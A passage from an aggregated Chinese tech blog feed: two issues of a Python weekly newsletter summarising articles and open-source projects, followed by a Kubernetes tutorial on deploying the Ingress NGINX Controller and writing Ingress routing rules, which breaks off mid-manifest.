一篇长文,由一个诡异的问题开始:Rust 写的程序竟然比 Python 慢?!作者在定位根因的过程中,多次得到 Rust 方案比 Python 慢的结果,甚至 C 版本代码也比 Python 的慢!层层深入,用上各种定位手段,最后发现竟然是 AMD CPU 内核的问题!
Python 中有哪些获取时间戳的函数?它们的性能表现如何?文章取了 7 种函数进行性能测算,发现 time.time() 是最快的。文章发布后引起了一些争议,于是作者写了第二篇,做了 Win10、WSL2 和 Ubuntu20 的对比,也增加了 Python 3.10 和 3.12 的对比。(附:第二篇性能对比的文章
Python 简单易用门槛低,因为它把很多复杂的工作交给了解释器,这使得它适合用作原型设计,快速开发应用。Go 语言也简单,但相比 Python 的规则要多一些,性能也更高。作者的建议是同时发挥两者的优势。
在 Pandas 2.2.0 中,DataFrame.apply 可以指定一个新的 numba 引擎,实现并行化的操作。文章介绍了这个引擎的工作原理、它支持的应用场景及无法做到的事,同时给出了多项性能测试的数据。
作者是 Flask 的维护者之一,列出了一份任务清单,提供给 Flask 的贡献者们方便着手处理。我们多数人没有维护开源项目的经验,或许无法想象项目维护者们要做那一大堆与编码完全无关的事。(题外话:Flask 的 star 数在本周已落后于 FastAPI,失去了 Web 框架第二高 star 的位置)
Python 3.12 开放了子解释器的一个 API,它有什么用呢?子解释器与多线程、多进程有什么区别,它们的性能差距有多少?将子解释器用于 Web 开发,会有什么效果?作者用开发中的 Python 3.13 做了一些实验,结果有惊喜也有程序异常。期待明年真正无-GIL 的 Python 吧!
文章选取了 10 组在 Python 社区很知名的库,同时给出它们相对应的替代库,这里最没争议的估计是 Ruff 替代 Pylint,其它则还有:Taipy/Streamlit、Polars/Pandas、Dask/PySpark、PyTorch/TensorFlow ……
Polars 是速度更快、内存效率更高、更易于使用的数据处理库,可作为 Pandas 的替换。但是替换后如何与第三方库更好地集成呢?文章介绍了几种处理方法,实现从 Pandas 到 Polars 的无缝切换。
软关键字(soft keyword)指的是可以被重新赋值的关键字。作者想利用正则表达式从 Python 最新的语法文件中找出所有的软关键字。最后得知只需下面两行代码就能做到(以下是 Python 3.12 的结果,即现在有 4 个软关键字):
>>> import keyword
>>> keyword.softkwlist
['_', 'case', 'match', 'type']
为了应对小孩的提问,作者开发了一个“机器人爸爸”。用到了 Eleven Labs 作声音克隆,用 Picovoice 语音转文字提取唤醒词,最后调用 ChatGPT 接口获取答案。
文章列出了十多项 REST API 的最佳实践规则,解释了规则的含义及实现,另外,作者嘲笑了几家公司被广泛使用的 API,将它们作为规则的反例。
文章介绍了几种调试 Asyncio 代码的方法,包括启用它的调试日志、在调试模式下运行事件循环、自定义调试信息等。(附:文章的姊妹篇 如何分析 Asyncio 程序? 分析慢程序和高频函数)

🐿️项目&资源

支持将多种文件格式转换为 markdown,可删除页眉/页脚,将方程式转换为 latex,格式化处理代码块和表格,另外也支持多种语言。(star 2.3K)(附:将整本 PDF 版《Think Python》转换后的效果
这个项目整理了一些库、工具、文章和书籍,主要集中在 profile、数据库、缓存、序列化、任务处理和监测等方面。
一个数据模型代码生成器,支持多种输入类型(OpenAPI、JSON、YAML、CSV、Python 字典、GraphQL),输出 Pydantic、dataclass、TypeDict 等类型。(star 2K)
它利用 datamodel-code-generator 生成 pydantic 模型,基于 OpenAPI 格式的接口文件,快速生成 FastAPI 项目。支持自定义模板,允许将自定义变量传给自定义模板。
在命令行窗口中实现的看板应用工具,有漂亮的表格、配置与数据分离、可自动创建任务、可作任务跟踪。
一个基于 Asyncio 和 Redis 之上的简单且高性能的任务队列框架。提供有一个简单的 UI,可查看任务队列、状态及执行详情等信息。
一个高性能的绘图工具库,利用 Numpy 作数值运算、用 Qt 的 GraphicsView 框架作 2D 显示和 OpenGL 作 3D 显示。(star 3.5K)
一个用于创建跨平台桌面应用的 GUI 工具,支持 MacOS、Windows、Linux (GTK)、Android、iOS 和单页 Web 应用。(star 3.9K)
它提供了一个装饰器,可检测函数的请求率、错误率和延迟等指标,方便你识别和调试程序的问题。支持用 Prometheus 查询与分析、开箱即用的 Grafana 仪表板、自定义告警、运行开销小。
Python 中有些标准库是用纯 Python 实现的,可能会成为性能瓶颈。这个项目将经过 mypyc 类型检查的标准库编译成 C 代码版本,比原始版本快 2-4 倍。目前已完成 tomllib 和 difflib,计划中还有 asyncio、urllib、zipfile、argparse 和 uuid。
它借助 GPT 将高版本 Python 代码转译成目标环境的 Python 版本代码,实现向下兼容执行。例如将 Python 3.10+ 的 match-case 代码转译成 if-else 代码,可在更低 Python 版本中执行。
支持中文、英文、日语、韩语 4 种语言,可在线从麦克风录制声音。支持文字转语音和语音变声。(star 1.3K)

🐢播客&视频

Pixi 是用 Rust 开发的基于 Conda 的包管理器。
Ruff 是一个用 Rust 编写的 Python linter+formatter,而且两方面都是性能最快的。

🥂讨论&问题

Reddit 上的热门讨论帖,也有近 700 条评论,需要刷很久才能看完。。。
函数的命名参数提高了可读性,但也可能使代码重复和冗长。作者提出了一个简化变量写法的语法糖,得到了不少核心开发者的支持。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

December 02, 2023 12:00 AM

November 25, 2023

pythoncat

Python 潮流周刊#28:两种线程池、四种优化程序的方法

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🐱产品推荐

Walles.AI 是一款适用于所有网站的浏览器插件,支持 GPT4 问答、ChatPDF、网页内容解释及翻译、生成高质量文章、与 Notion 等工具协同、在线摘要 Youtube 视频等。立即前往官网,免费使用(请在 PC 端访问):安装地址

🦄文章&教程

很值得推荐的文章。正文部分介绍了优化程序的四种方法:使用更好的算法、使用更好的数据结构、使用底层的编程语言、以及接受不太精确的解决方案。文章开头和结尾则提出了一些教训:我们对于性能优化问题容易过度乐观、我们可能只顾性能而牺牲了正确性、不该作过早和复杂的优化、优化的广度比优化的深度更重要。
由于 GIL 的限制,因此在 Python 中使用线程池需要注意业务是 CPU 密集型任务还是 IO 密集型任务,这将导致在线程数量和线程池目标上的不同选择。
Python 3.12 版本中datetime.datetimeutcnow()utcfromtimestamp() 方法已被标注为“deprecated”,将在未来版本中删除。文章介绍了它们的缺陷,解释了为什么它们会被弃用。替代的方法分别是:datetime.now()datetime.fromtimestamp()
介绍了如何使用 Nginx+Gunicorn+Supervisor、Nginx+uWSGI+Supervisor、Waitress、Meinheld 等不同方案部署 Flask 应用,分析了它们的优缺点。
介绍了 CPython 全局解释器锁的实现细节,介绍了从 Python 3.9 到目前 3.13 开发版之间的变化。其中有一项很大的差别,在 3.9 及早期版本,GIL 在执行很多字节码时会释放,而在 3.13 版本,只在少数字节码上检查是否释放 GIL。
Python 的依赖管理有很多选择,文章介绍了 pip-compile 和 pip-tools 的组合方案。
作者将程序的 bug 分成四类:类型错误和 linting 错误、导入时异常、运行时异常、静默的错误。处理的策略是减少出现后面的错误类型,将其变为前面的错误处理。
Python 的类型提示正在逐渐流行,但是,它在核心开发者群体中已经普及到什么程度了呢?作者经过分析,给出了这样的数据:所有核心开发者中,大约 53% 的人最近有开源项目,其中 39% 的人使用类型提示。近 3 年里加入团队的人中,有 76% 使用类型提示。
作者为了使用 OpenAI 返回的异步迭代器内容,将不支持异步的 Flask 项目重构成了支持异步的 Quart。但手动修改的工作量太大,因此他想到通过解析 ast 来修改,提升项目转换的效率。
文章使用了大量直观的图形展示 Numpy 数据的分布以及数据变化过程,让你轻松掌握 Numpy 数据操作。
传统观点认为组合优于继承,但作者认为 Python 不能很好地支持,若教条式使用组合,只会引入问题,因此作者提供了一种简单实现的思路。
在数据驱动关键决策的时代,交互式仪表板已成为商业、科学研究等行业不可或缺的工具。Streamlit 和 Shiny(包括 RShiny 及 PyShiny)是功能强大的框架,文章介绍了它们各自的优势。
🎁Python潮流周刊🎁我会在 电报频道 分享很多不收录在周刊里的内容,目前已有 1200+ 同学关注,欢迎你的加入!

🐿️项目&资源

超级火爆的新项目,它使用 GPT-4 Vision 生成代码,使用 DALL-E 3 生成与截图相似的外观。甚至可以输入 URL 来实时克隆一个网站!(star 19.4K)
将 SQLAlchemy ORM 模型生成高质量的可视化效果,使用 Graphviz 将每个模型呈现为有向图,更容易理解数据库表之间的关系。
它通过将提示、模型参数及模型密切相关的逻辑与应用代码分离,降低复杂度。SDK 是与模型无关的,可扩展到任何生成式 AI 模型。
可以让你轻松构建可扩展且可维护的 API,支持依赖注入、类型注释、装饰器和代码生成。
它利用风格扩散和对抗训练与大型语音语言模型 (SLM) 来实现人类水平的 TTS 合成。(star 2.7K)
安装后,只需从命令行调用 pyjoke 或将其添加到 .bashrc 文件中,每次打开终端时都会看到一个笑话。
用于调用 Google Translate 的文本转语音 API,提供可定制的语音特定的句子分词器,以及可定制的文本预处理器。(star 2K)
极简的聊天室应用,前后端代码在仅 115 行的单文件中,使用 SSE 作后端消息推送,不依赖websocket,支持用户认证、多用户聊天、上下线通知、路由保护。(投稿自@yuxiaoy1)
Streamlit 的组件选择相对局限,且样式比较古老。这个项目将前端流行的 shadcn 组件库引入到 Streamlit 当中,UI 更为美观。
可无损分辨率将视频中的硬字幕去除,生成去除字幕后的文件,利用 AI 填充原字幕区域;支持自定义字幕位置,支持全视频自动去除所有文本。
将你的草稿图实时变成生动的图像,可更改 UI 中的模型 ID 来使用不同的模型。(star 1.5K)
可执行高精度天文学计算,用于查找行星、彗星或小行星的位置,确定特定星体的位置,计算月球各阶段的日期,天文坐标系转换,确定春分和冬至的日期,等等。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

November 25, 2023 12:00 AM

November 21, 2023

aneasystone

学习 Kubernetes 流量管理之 Ingress

学习 Kubernetes 流量管理之 Service 这篇笔记中我们学习了 Kubernetes 是如何使用 Service 进行流量管理的,我们可以通过 NodePortLoadBalancer 这两种类型的 Service 让应用程序暴露到集群外部,不过这两种方式都有各自的问题:

  • NodePort 会在所有节点上暴露端口,外部应用需要知道集群内部节点的 IP 才能访问,一旦集群节点发生变化,外部应用也会受影响,可用性无法保证;而且端口的范围是受限的,默认只能使用 30000 到 32767 之间的端口,外部应用使用起来会感觉怪怪的;另外,每个端口只能对应一个 Service,如果 Service 数量过多,暴露的端口也会过多,不仅安全性难以保障,而且管理起来也会很麻烦;
  • LoadBalancer 依赖于外部负载均衡器作为流量的入口,它在云平台中使用非常广泛,一般使用云供应商提供的 LB 服务,它会有一个自己的 IP 地址来转发所有流量,不过要注意的是,你暴露的每个 Service 都对应一个 LB 服务,而每个 LB 都需要独立付费,如果你暴露的 Service 很多,这将是非常昂贵的。

什么是 Ingress

为了解决上面的问题,Kubernetes 提出了一种新的 API 对象,叫做 Ingress,它通过定义不同的 HTTP 路由规则,将集群内部的 Service 通过 HTTP 的方式暴露到集群外部:

ingress.png

可以将 Ingress 理解为 Service 的网关,它是所有流量的入口,通过 Ingress 我们就能以一个集群外部可访问的 URL 来访问集群内部的 Service,不仅如此,它还具有如下特性:

  • Load Balancing
  • SSL Termination
  • Name-based Virtual Hosting

Ingress 实践

这一节将继续延用之前的 kubernetes-bootcamp 示例,通过 Ingress 将应用程序暴露到集群外部访问。

部署 Ingress Controller

Ingress 本身其实并不具备集群内外通信的能力,它只是一系列的路由转发规则而已,要让这些路由规则生效,必须先部署 Ingress Controller 才行。

由 Kubernetes 支持和维护的 Ingress Controller 有三个:

除此之外,这里 还列出了很多由第三方社区维护的其他 Ingress Controller 可供选择。

下面我们就以 Ingress NGINX Controller 为例,学习如何部署 Ingress Controller。

目前有两个基于 Nginx 实现的 Ingress Controller 比较有名,一个是由 Kubernetes 官方维护的 kubernetes/ingress-nginx,被称为 Ingress NGINX Controller,另一个是由 Nginx 官方维护的 nginxinc/kubernetes-ingress,被称为 NGINX Ingress Controller,两者在技术实现和功能特性上有很多区别,大家在使用时要特别留意。

根据 Ingress NGINX Controller 官方的部署文档,我们大致有两种方式来部署它,第一种是通过 Helm 部署:

# helm upgrade --install ingress-nginx ingress-nginx \
  --repo https://kubernetes.github.io/ingress-nginx \
  --namespace ingress-nginx --create-namespace

第二种是通过 kubectl apply 部署,我比较喜欢这种方式,可以从 YAML 中看到整个部署的细节:

# kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.2/deploy/static/provider/cloud/deploy.yaml
namespace/ingress-nginx created
serviceaccount/ingress-nginx created
serviceaccount/ingress-nginx-admission created
role.rbac.authorization.k8s.io/ingress-nginx created
role.rbac.authorization.k8s.io/ingress-nginx-admission created
clusterrole.rbac.authorization.k8s.io/ingress-nginx created
clusterrole.rbac.authorization.k8s.io/ingress-nginx-admission created
rolebinding.rbac.authorization.k8s.io/ingress-nginx created
rolebinding.rbac.authorization.k8s.io/ingress-nginx-admission created
clusterrolebinding.rbac.authorization.k8s.io/ingress-nginx created
clusterrolebinding.rbac.authorization.k8s.io/ingress-nginx-admission created
configmap/ingress-nginx-controller created
service/ingress-nginx-controller created
service/ingress-nginx-controller-admission created
deployment.apps/ingress-nginx-controller created
job.batch/ingress-nginx-admission-create created
job.batch/ingress-nginx-admission-patch created
ingressclass.networking.k8s.io/nginx created
validatingwebhookconfiguration.admissionregistration.k8s.io/ingress-nginx-admission created

从上面的输出可以看到,Ingress NGINX Controller 首先创建一个名为 ingress-nginx 的命名空间,然后在这个命名空间下创建了一堆相关的资源,包括 ServiceAccount、Role、ConfigMap、Deployment、Service、Job 等等,这中间,最重要的是 deployment.apps/ingress-nginx-controllerservice/ingress-nginx-controller 这两项;其实,Ingress Controller 本质上就是一个 Deployment 加上一个 Service,这个 Deployment 通过监听 Ingress 对象的变动来更新路由规则,而用户访问集群的入口仍然是通过 Service 实现的,所以想让用户通过 Ingress 来访问集群,还是得靠 Service 的两种外部通信方式:NodePortLoadBalancer

查看上面这个 YAML,可以发现它使用的就是 LoadBalancer 类型的 Service,一般适用于云环境,如果你没有云环境,官方也提供了几种在物理机环境部署的方式:

其中最简单的方式是使用 NodePort 类型的 Service,直接使用下面这个 YAML 部署即可:

# kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.2/deploy/static/provider/baremetal/deploy.yaml

部署完成后,通过下面的命令检查 Ingress NGINX Controller 是否运行成功:

# kubectl get deployment -n ingress-nginx
NAME                       READY   UP-TO-DATE   AVAILABLE   AGE
ingress-nginx-controller   1/1     1            1           29h

通过下面的命令确定 Ingress NGINX Controller 的 NodePort 是多少:

# kubectl get svc -n ingress-nginx
NAME                                 TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)                      AGE
ingress-nginx-controller             NodePort    10.96.0.183   <none>        80:26360/TCP,443:23476/TCP   29h
ingress-nginx-controller-admission   ClusterIP   10.96.1.25    <none>        443/TCP                      29h

此时,我们就可以通过 NodePort 来访问集群了,只不过因为我们还没有配置任何路由,所以访问会报 404 Not Found

# curl http://172.31.164.40:26360
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>

注意这里实际上暴露了两个 NodePort,一个是 HTTP 端口,另一个是 HTTPS 端口,这个 HTTPS 端口我们也可以访问(-k 表示忽略证书校验):

# curl -k https://172.31.164.40:23476
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>

创建 Ingress

接下来,我们创建一个简单的路由规则来验证 Ingress 是否有效:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-ingress
spec:
  ingressClassName: nginx
  rules:
  - http:
      paths:
      - path: /hello
        pathType: Prefix
        backend:
          service:
            name: myapp
            port:
              number: 38080

这个路由规则很容易理解,就是将 /hello 路径映射到后端名为 myapp 的 Service 的 38080 端口。在使用 Ingress 时要注意你的 Kubernetes 版本,不同的 Kubernetes 版本中 Ingress 的 apiVersion 字段略有不同:

Kubernetes 版本Ingress 的 apiVersion
v1.5 - v1.17extensions/v1beta1
v1.8 - v1.18networking.k8s.io/v1beta1
v1.19+networking.k8s.io/v1

另一点值得注意的是 ingressClassName: nginx 这个配置,细心的同学可能已经发现,在上面部署 Ingress NGINX Controller 的时候,默认还创建了一个 IngressClass 资源:

apiVersion: networking.k8s.io/v1
kind: IngressClass
metadata:
  labels:
    app.kubernetes.io/component: controller
    app.kubernetes.io/instance: ingress-nginx
    app.kubernetes.io/name: ingress-nginx
    app.kubernetes.io/part-of: ingress-nginx
    app.kubernetes.io/version: 1.8.2
  name: nginx
spec:
  controller: k8s.io/ingress-nginx

我们可以将 IngressClass 理解成面向对象中的类这个概念,而 Ingress 则是类的具体示例。在 Ingress NGINX Controller 的启动参数里,我们能看到 --ingress-class=nginx 这样的参数:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: ingress-nginx-controller
  namespace: ingress-nginx
spec:
  minReadySeconds: 0
  revisionHistoryLimit: 10
  template:
    spec:
      containers:
      - args:
        - /nginx-ingress-controller
        - --election-id=ingress-nginx-leader
        - --controller-class=k8s.io/ingress-nginx
        - --ingress-class=nginx

表示它会监听名为 nginxIngressClass,一个集群中可能会部署多个 Ingress Controller,这样就会有多个 IngressClass,所以上面创建 Ingress 时指定 ingressClassName: nginx 表示将这个路由规则应用到刚部署的 Ingress NGINX Controller。

通过 curl 验证 Ingress 是否生效:

# curl http://172.31.164.40:26360/hello
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-9xm5j | v=1

可以看出,虽然 myapp 这个 Service 类型为 ClusterIP,但是通过 Ingress 我们也可以从集群外部对其进行访问了。

默认 IngressClass

我们可以给某个 IngressClass 加上 ingressclass.kubernetes.io/is-default-class 注解,并将值设置为字符串 "true",表示这是集群中默认的 IngressClass

apiVersion: networking.k8s.io/v1
kind: IngressClass
metadata:
  annotations:
    ingressclass.kubernetes.io/is-default-class: "true"
  labels:
    app.kubernetes.io/component: controller
    app.kubernetes.io/instance: ingress-nginx
    app.kubernetes.io/name: ingress-nginx
    app.kubernetes.io/part-of: ingress-nginx
    app.kubernetes.io/version: 1.8.2
  name: nginx
spec:
  controller: k8s.io/ingress-nginx

当集群中存在默认的 IngressClass 时,创建 Ingress 时就可以不用指定 ingressClassName 参数了:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-ingress
spec:
  rules:
  - http:
      paths:
      - path: /hello
        pathType: Prefix
        backend:
          service:
            name: myapp
            port:
              number: 38080

注意,一个集群中最多只应该存在一个默认的 IngressClass,如果有多个 IngressClass 被设置成默认,那么创建 Ingress 时还是得指定 ingressClassName 参数。

深入 Ingress Controller

为了更进一步地了解 Ingress Controller 的工作原理,我们不妨进入 ingress-nginx-controller 容器内部:

# kubectl exec -it ingress-nginx-controller-6c68b88b5d-wdk96 -n ingress-nginx -- bash

在这里我们可以看到 nginx.conf 这个熟悉的身影:

ingress-nginx-controller-6c68b88b5d-wdk96:/etc/nginx$ ls
fastcgi.conf            geoip                   mime.types              nginx.conf              owasp-modsecurity-crs   uwsgi_params
fastcgi.conf.default    koi-utf                 mime.types.default      nginx.conf.default      scgi_params             uwsgi_params.default
fastcgi_params          koi-win                 modsecurity             opentelemetry.toml      scgi_params.default     win-utf
fastcgi_params.default  lua                     modules                 opentracing.json        template

这个文件和普通的 Nginx 配置文件并无二致,查看文件内容可以发现,上面所配置的 Ingress 规则其实都被转换成了 Nginx 规则,此外,我们还发现,Ingress NGINX Controller 是基于 Nginx + Lua 实现的:

ingress-nginx-controller-6c68b88b5d-wdk96:/etc/nginx$ cat nginx.conf

  ## start server _
  server {
    server_name _ ;
    
    listen 80 default_server reuseport backlog=511 ;
    listen [::]:80 default_server reuseport backlog=511 ;
    listen 443 default_server reuseport backlog=511 ssl http2 ;
    listen [::]:443 default_server reuseport backlog=511 ssl http2 ;
    
    location /hello/ {
      
      set $namespace      "default";
      set $ingress_name   "my-ingress";
      set $service_name   "myapp";
      set $service_port   "38080";
      set $location_path  "/hello";
      set $global_rate_limit_exceeding n;
      
      rewrite_by_lua_block {
        lua_ingress.rewrite({
          force_ssl_redirect = false,
          ssl_redirect = true,
          force_no_ssl_redirect = false,
          preserve_trailing_slash = false,
          use_port_in_redirects = false,
          global_throttle = { namespace = "", limit = 0, window_size = 0, key = { }, ignored_cidrs = { } },
        })
        balancer.rewrite()
        plugins.run()
      }
      
      header_filter_by_lua_block {
        lua_ingress.header()
        plugins.run()
      }
      
      body_filter_by_lua_block {
        plugins.run()
      }

      set $proxy_upstream_name "default-myapp-38080";
      
      proxy_pass http://upstream_balancer;
      
    }
  }
  ## end server _
  

其中 upstream_balancer 的定义如下:

  upstream upstream_balancer {
    ### Attention!!!
    #
    # We no longer create "upstream" section for every backend.
    # Backends are handled dynamically using Lua. If you would like to debug
    # and see what backends ingress-nginx has in its memory you can
    # install our kubectl plugin https://kubernetes.github.io/ingress-nginx/kubectl-plugin.
    # Once you have the plugin you can use "kubectl ingress-nginx backends" command to
    # inspect current backends.
    #
    ###
    
    server 0.0.0.1; # placeholder
    
    balancer_by_lua_block {
      balancer.balance()
    }
    
    keepalive 320;
    keepalive_time 1h;
    keepalive_timeout  60s;
    keepalive_requests 10000;
    
  }

通过这里的注释我们了解到,Ingress NGINX Controller 转发的后端地址是动态的,由 Lua 脚本实现,如果想看具体的后端地址,可以安装 ingress-nginx 插件,安装 ingress-nginx 插件最简单的方式是使用 krew 来安装,所以我们先安装 krew,首先下载并解压 krew 的最新版本

# curl -LO https://github.com/kubernetes-sigs/krew/releases/download/v0.4.4/krew-linux_amd64.tar.gz
# tar zxvf krew-linux_amd64.tar.gz

然后运行下面的命令进行安装:

# ./krew-linux_amd64 install krew
Adding "default" plugin index from https://github.com/kubernetes-sigs/krew-index.git.
Updated the local copy of plugin index.
Installing plugin: krew
Installed plugin: krew
\
 | Use this plugin:
 |      kubectl krew
 | Documentation:
 |      https://krew.sigs.k8s.io/
 | Caveats:
 | \
 |  | krew is now installed! To start using kubectl plugins, you need to add
 |  | krew's installation directory to your PATH:
 |  |
 |  |   * macOS/Linux:
 |  |     - Add the following to your ~/.bashrc or ~/.zshrc:
 |  |         export PATH="${KREW_ROOT:-$HOME/.krew}/bin:$PATH"
 |  |     - Restart your shell.
 |  |
 |  |   * Windows: Add %USERPROFILE%\.krew\bin to your PATH environment variable
 |  |
 |  | To list krew commands and to get help, run:
 |  |   $ kubectl krew
 |  | For a full list of available plugins, run:
 |  |   $ kubectl krew search
 |  |
 |  | You can find documentation at
 |  |   https://krew.sigs.k8s.io/docs/user-guide/quickstart/.
 | /
/

根据提示,将 export PATH="${KREW_ROOT:-$HOME/.krew}/bin:$PATH" 添加到 ~/.bashrc 文件中,然后重新打开 Shell,这样 krew 就安装完成了。接下来,使用 kubectl krew install 命令安装 ingress-nginx 插件:

# kubectl krew install ingress-nginx
Updated the local copy of plugin index.
Installing plugin: ingress-nginx
Installed plugin: ingress-nginx
\
 | Use this plugin:
 |      kubectl ingress-nginx
 | Documentation:
 |      https://kubernetes.github.io/ingress-nginx/kubectl-plugin/
/

插件安装之后,使用 kubectl ingress-nginx backends 命令查看 Ingress NGINX Controller 的后端地址信息:

# kubectl ingress-nginx backends -n ingress-nginx
[
  {
    "name": "default-myapp-38080",
    "service": {
      "metadata": {
        "creationTimestamp": null
      },
      "spec": {
        "ports": [
          {
            "name": "http",
            "protocol": "TCP",
            "port": 38080,
            "targetPort": "myapp-port"
          }
        ],
        "selector": {
          "app": "myapp"
        },
        "clusterIP": "10.96.3.215",
        "clusterIPs": [
          "10.96.3.215"
        ],
        "type": "ClusterIP",
        "sessionAffinity": "None",
        "ipFamilies": [
          "IPv4"
        ],
        "ipFamilyPolicy": "SingleStack",
        "internalTrafficPolicy": "Cluster"
      },
      "status": {
        "loadBalancer": {}
      }
    },
    "port": 38080,
    "sslPassthrough": false,
    "endpoints": [
      {
        "address": "100.84.80.88",
        "port": "8080"
      },
      {
        "address": "100.121.213.72",
        "port": "8080"
      },
      {
        "address": "100.121.213.109",
        "port": "8080"
      }
    ],
    "sessionAffinityConfig": {
      "name": "",
      "mode": "",
      "cookieSessionAffinity": {
        "name": ""
      }
    },
    "upstreamHashByConfig": {
      "upstream-hash-by-subset-size": 3
    },
    "noServer": false,
    "trafficShapingPolicy": {
      "weight": 0,
      "weightTotal": 0,
      "header": "",
      "headerValue": "",
      "headerPattern": "",
      "cookie": ""
    }
  },
  {
    "name": "upstream-default-backend",
    "port": 0,
    "sslPassthrough": false,
    "endpoints": [
      {
        "address": "127.0.0.1",
        "port": "8181"
      }
    ],
    "sessionAffinityConfig": {
      "name": "",
      "mode": "",
      "cookieSessionAffinity": {
        "name": ""
      }
    },
    "upstreamHashByConfig": {},
    "noServer": false,
    "trafficShapingPolicy": {
      "weight": 0,
      "weightTotal": 0,
      "header": "",
      "headerValue": "",
      "headerPattern": "",
      "cookie": ""
    }
  }
]

Ingress 类型

根据 Ingress 的使用场景可以将其分成几个不同的类型:

单服务 Ingress

这是最简单的 Ingress 类型,当你只有一个后端 Service 时可以使用它,它不用配置任何路由规则,直接配置一个 defaultBackend 指定后端 Service 即可:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-default-backend
spec:
  defaultBackend:
    service:
      name: myapp
      port:
        number: 38080

使用 kubectl describe ingress 查看该 Ingress 详情:

# kubectl describe ingress ingress-default-backend
Name:             ingress-default-backend
Labels:           <none>
Namespace:        default
Address:          172.31.164.67
Ingress Class:    nginx
Default backend:  myapp:38080 (100.121.213.109:8080,100.121.213.72:8080,100.84.80.88:8080)
Rules:
  Host        Path  Backends
  ----        ----  --------
  *           *     myapp:38080 (100.121.213.109:8080,100.121.213.72:8080,100.84.80.88:8080)
Annotations:  <none>
Events:       <none>

可以看到,无论什么 Host,无论什么 Path,全部路由到 myapp:38080 这个后端服务。

这种 Ingress 和直接使用 NodePortLoadBalancer 类型的 Service 没有区别,不过 defaultBackend 不只是单独使用,也可以和 rules 结合使用,表示兜底路由,当所有的路由规则都不匹配时请求该后端。

多服务 Ingress

这是最常见的一种 Ingress,通过不同的路由规则映射到后端不同的 Service 端口,这种 Ingress 又被称为 Fan Out Ingress,形如其名,它的结构像下面这样成扇形散开:

ingress-simple-fanout.png

下面是多服务 Ingress 的一个示例:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-simple-fanout
  annotations:
    nginx.ingress.kubernetes.io/use-regex: "true"
    nginx.ingress.kubernetes.io/rewrite-target: /$2
spec:
  rules:
  - http:
      paths:
      - path: /test(/|$)(.*)
        pathType: ImplementationSpecific
        backend:
          service:
            name: myapp
            port:
              number: 38080
      - path: /test2(/|$)(.*)
        pathType: ImplementationSpecific
        backend:
          service:
            name: hello-actuator
            port:
              number: 8080

使用 kubectl describe ingress 可以查看该 Ingress 的详情:

# kubectl describe ingress ingress-simple-fanout
Name:             ingress-simple-fanout
Labels:           <none>
Namespace:        default
Address:          
Ingress Class:    nginx
Default backend:  <default>
Rules:
  Host        Path  Backends
  ----        ----  --------
  *           
              /test(/|$)(.*)    myapp:38080 (100.121.213.109:8080,100.121.213.72:8080,100.84.80.88:8080)
              /test2(/|$)(.*)   hello-actuator:8080 (100.121.213.108:8080,100.84.80.87:8080)
Annotations:  nginx.ingress.kubernetes.io/rewrite-target: /$2
              nginx.ingress.kubernetes.io/use-regex: true
Events:       <none>

可以看到,当请求路径满足 /test(/|$)(.*) 时,就路由到后端的 myapp:38080 服务,当请求满足 /test2(/|$)(.*) 时,就路由到后端的 hello-actuator:8080 服务。这里有三个参数需要注意:path 表示请求的路径,pathType 表示请求的路径匹配类型,annotations 则是 Ingress Controller 特定的一些注解。

每一个 path 都必须设置 pathTypepathType 有三种取值:

  • Exact:完全匹配,表示当请求的路径和 path 值完全一样时才匹配,比如 path 值为 /foo,请求路径必须为 /foo 才能匹配,如果是 /foo/xxx 或者 /foo/ 都不匹配;
  • Prefix:前缀匹配,表示请求的路径以 path 为前缀时才匹配,比如 path 值为 /foo,请求路径为 /foo/xxx 或者 /foo/ 都可以匹配,但是这里的前缀并完全是字符串前缀匹配,比如请求路径 /foobar 就不能匹配;另外,如果有多个路径都满足匹配规则,那么匹配最严格的那条规则,比如有三个 path,分别是 //aaa/aaa/bbb,当请求路径为 /aaa/bbb 时,匹配的应该是最长的 /aaa/bbb 这个规则;
  • ImplementationSpecific:匹配规则不确定,由 Ingress Controller 来定义;在上面这个例子中,我们就使用了这种匹配类型,我们在 path 中使用了正则表达式,通过正则表达式的分组捕获功能,我们可以在 Ingress NGINX Controller 的 Rewrite annotations 中用来做路由重写。

当我们请求 /test2/actuator/info 这个路径时,默认情况下,Ingress 会将我们的请求转发到后端服务的 /test2/actuator/info 地址,如果希望忽略 /test2 前缀,而转发到后端的 /actuator/info 地址,那就要开启路径重写,Ingress NGINX Controller 提供了一个注解 nginx.ingress.kubernetes.io/rewrite-target 来实现路径重写功能,路径重写一般和 Ingress Path Matching 一起使用,在定义 path 时,先使用正则表达式来匹配路径,比如 /test2(/|$)(.*),然后将 rewrite-target 设置为正则的第二个分组 /$2

虚拟主机 Ingress

Ingress 还支持配置多虚拟主机,将来自不同主机的请求映射到不同的后端服务,如下图所示:

ingress-virtual-host.png

下面是虚拟主机 Ingress 的一个示例:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-virtual-host
spec:
  rules:
  - host: foo.bar.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: myapp
            port:
              number: 38080
  - host: bar.foo.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: hello-actuator
